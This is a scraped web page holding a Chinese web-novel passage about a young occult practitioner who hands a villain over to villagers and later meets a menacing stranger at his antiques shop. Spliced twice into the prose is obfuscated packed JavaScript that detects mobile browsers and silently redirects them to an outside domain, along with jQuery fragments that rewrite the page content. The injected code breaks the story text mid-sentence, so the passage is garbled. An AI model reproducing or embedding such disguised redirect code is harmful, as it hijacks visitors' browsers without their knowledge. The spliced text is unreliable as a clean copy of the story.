l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752726|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地翻过房梁,一下便消失在后院。 老周略显迟疑,最终还是咬咬牙,凶巴巴地瞪我道,“小子,事情不算完,有你倒霉时候。” 龙老爷却慌了,看见帮手一个接一个离开,赶紧跺脚喊道,“你怎么走了?” 老周却没有回答,反倒加快脚步,和王佳一起离开。 看得出,老周似乎很听王佳的话,甚至有点怕他。 他们这一走,院里就剩下龙老爷一个人了。 原本还能面前保持淡定的龙老爷瞬间慌得不行,“小哥,我陪钱好不好?” “赔多少?”我似笑非笑,一步步朝他走去。 “得看你要多少,放心吧,我龙某人还算有点家底,只要你开个价,我肯定不会拒绝。” 他喋喋不休,还真以为能拿钱了事。 直至我来到他面前,一扬手臂,啪啪就是几个大耳光。 他捂着肿胀的老脸,像猪头一样哼唧,“你干什么打人?” “我不仅打你,还想弄死你个狗娘养的!” 我气得牙痒痒,又是一脚补上去。 君子爱财取之有道,我确实缺钱,但绝不会发不义之财。 龙老板的钱,都是通过窃取龙口村的气运得到的。 拿了他的钱,我也会沾上这件事的因果。 老蝙蝠拍拍爪子说,“还废什么话,干脆一刀宰掉算了,这家伙是臭的,爷对他的血没兴趣。” 我摇摇头,说还是直接交给李村长处理吧。 我不是个杀人狂魔,更不想让自身沾满罪孽。 每个人的生命都值得尊重,除非必要,我没资格剥夺任何人的生命权利。 回去的路上,我还在回想王佳为什么会干出这种事。 他来自养尸家族,按理说应该不缺钱才对。 落花洞女感应到我的心思,马上说,“你要小心,下次再看见这个小矮子的时候,最好绕道走,不要跟他起冲突。” 我很惊愕,印象中落花洞女可是比老蝙蝠还要厉害的狠人大姐。 怎么会对王佳产生忌惮? “我忌惮的不是这个小矮子,是他背后的势力。” 落花洞女微微吸气,小声说,“刚才你跟王佳对峙的时候,我竟然在他身上感应出了魂族的味道。” 第146章 怪人造访 等会儿,啥是魂族? 只怪我出道时间太短,缺乏对玄门世界最基本的了解。 第一次听说魂族这个势力。 她没有解惑的意思,浅哼一声说,“没听说过魂族,算是你的幸运,这些家伙都是吃人不吐骨头的魔星,你还不够资格接触魂族的事。” 我碰了一鼻子灰,只好无语地闭嘴了。 重新返回龙口村,已经是第二天上午。 龙老板被我用麻绳绑着手臂,跌跌撞撞带回村子。 老宋和李村长早就来到村口等消息。 看见我后,他们急忙迎了上来。等我把龙老板雇佣邪术师,将自己老爹炼成尸魃专门窃取村子气运的事情一说,村民们一个个都气得把眼珠瞪红了。 当时群情激奋,有不少村民拿着镰刀和锄头围上来,表示要当场废了龙老板。 好在李村长比较理智,马上制止村民,“都别吵,人是林小哥抓来的,怎么处置他说了算。” 村长把这个问题抛给我,我却根本不打算接手,摇头说, “人我已经替你们找到了,他窃取的是你们村的气运,该怎么处理你们自己看着办,不用在乎我的意见。” 我这么说是为了避免沾因果。 看村民们这幅群情激奋的样子,估计龙老爷肯定没个好。 我可不会在这种事上出主意。 李村长思索了好一会儿,干脆找来捆猪的绳子,先把龙老爷五花大绑,带去祖陵磕头。 一路上龙老爷不停在求饶,可惜村民根本不搭理,反倒气得踹了他好几脚。 我没有参与这场热闹,事情差不多结束,便打算收拾东西走了。 老宋小跑着追上来说,“你怎么就这样走了,帮了村民这么大个忙,不如留下来住几天吧。” 等李村长腾出手来,肯定会好好感谢我。 我摇头拒绝了。 自己来这儿是为了搞定村民中尸毒的事,既然问题得到解决,我也该走了。 出风头的事情还是留给老宋吧。 老宋笑笑说,“年轻人不骄不躁,懂得不居功自傲,你比我强多了。” 我一听就知道,老宋这是在给我戴高帽,忙摇头说,“客气,我只是运气比好而已。” 走出村子,落花洞女忽然咯咯娇笑了声,“你这么急着离开,是怕出风头吧。” 我没有否认,之前大伯告诫过我,凡事必须低调。 在练好本事前,绝对不能打着林家的旗号惹是生非。 可自从出道以来,我已经在无形中得罪了很多人。 这样下去迟早会出问题。 她调侃说,“你惹的麻烦已经够多了,不差这一回,昨天那个叫老周的家伙肯定会找机会报复你。” 我一脸无所谓,“我不惹事,也不怕事,他想来就来呗。” 我没急着下山,靠在树荫下等着老蝙蝠。 这家伙自从回村之后就不见了身影,也不知道鬼鬼祟祟跑出去干嘛。 足足等了半小时后,我才看见一道猥琐的身影,扛着麻布口袋晃晃悠悠从树林子里面飞出来。 那口袋挺沉的,压得老蝙蝠不停打飘,好像喝醉酒一样。 我也是服了,丫连肉身都没有,光靠灵体支撑这么大个麻袋,也不怕累死。 等老蝙蝠飘向我之后,我才指了指那个破麻袋,问它里面装的是什么。 它贱兮兮地打开袋子,给我看了一眼。 当时我脸就黑了。 这孙子是真不客气,走之前居然把村长家的老母鸡给包圆了,连半大的雏鸡都一起打包装进了口袋。 我哭笑不得,说你少吃一只鸡会死啊。 它没脸没皮道,“出了这么多力,吃他几只鸡怎么了?” 我哑口无言,帮他扛起了口袋,下意识加快了离开的脚步。 就怕被村民撞见,自己丢不起那个人。 折腾半天,总算是回了市区。 老蝙蝠迫不及待回了出租屋,进行它的“盘鸡大业”,我懒得理它,打车去了古香斋。 这次出门两天,店里除了王刚之外,明叔依然没有回来。 我纳闷地追问王刚,“老小子这次出门这么久,连个信都没有,不会被仙人跳了吧?” 王刚傻笑说,“别说还真有这个可能,老小子隔三差五去外面大保健,没准死在哪个娘们肚皮上了。” 玩笑归玩笑,感觉明叔这次消失太久,有点不正常。 他以前也隔三差五出去找客户谈生意,但顶多一两天就回来了。 这次却整整消失了五六天。 出于担心,我拨打了明叔手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752727|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号。 意外的是手机居然打不通。 这可奇怪了。 老小子最在意的就是店里的生意,平时24小时保持开机,怕的就是漏接业务电话。 从没出现过电话打不通的情况。 王刚挠了挠头,“不会真出事了吧?” “乌鸦嘴,别乱说!”我对明叔还是蛮有信心的,老小子虽然没啥动手能力,可江湖经验很足,是个不折不扣的老狐狸。 只有他算计别人的份,哪有人能算计得了他? 下午我让王刚出去定一份外卖,打算简单对付一口了事。 可王刚前脚刚出门,店里就来了不速之客。 是个身材高瘦,肤色黝黑的中年男人。 一身苗人打扮,头上戴着白色的方巾,左边耳朵还挂着一串银色的项链,头发乱糟糟的好像几十年没洗过,浑身都散发着馊臭的味道。 “老哥,你这是?” 我皱了皱眉,从柜台中站起来,面露惊讶地看向这个怪人。 直觉告诉我,他不是来找我做生意的。 这家伙脖子上有一片青色的胎印,上面绘满了十二祖巫的画像。 阴法气息很浓。 我看着怪人,怪人也看着我。 他天生刀眼,目光很犀利,给人一种面对毒蛇般的腥冷感觉。 对视五六秒,他终于开口,带着很重的广西腔,声音特别嘶哑,“我来找这家店的老板。” 我摇头说,“不好意思,老板不在。” 怪人扬起了鹰钩鼻,笑容很阴邪,“他是有事出去了,还是故意躲着我?” 我一愣,在这家伙的话里捕捉到一些挑衅意味。 开门做生意,讲究一个和气生财。 我不知道这家伙的底细,便客客气气道,“明叔确实有事出门了,你要是有什么事的话,直接跟我说也一样。” 明叔不在的时候,古香斋的事情归我负责。 我猜这家伙可能跟明叔有私人恩怨,还在考虑该怎么劝解。 怪人直接把脸沉下来,发出阴阴的狞笑,“我不信他能躲一辈子。” “你几个意思?” 听出他口气不对,我下意识皱眉。 怪人没理我,只是阴恻恻地朝店内看了一眼,便莫名其妙地转身走了。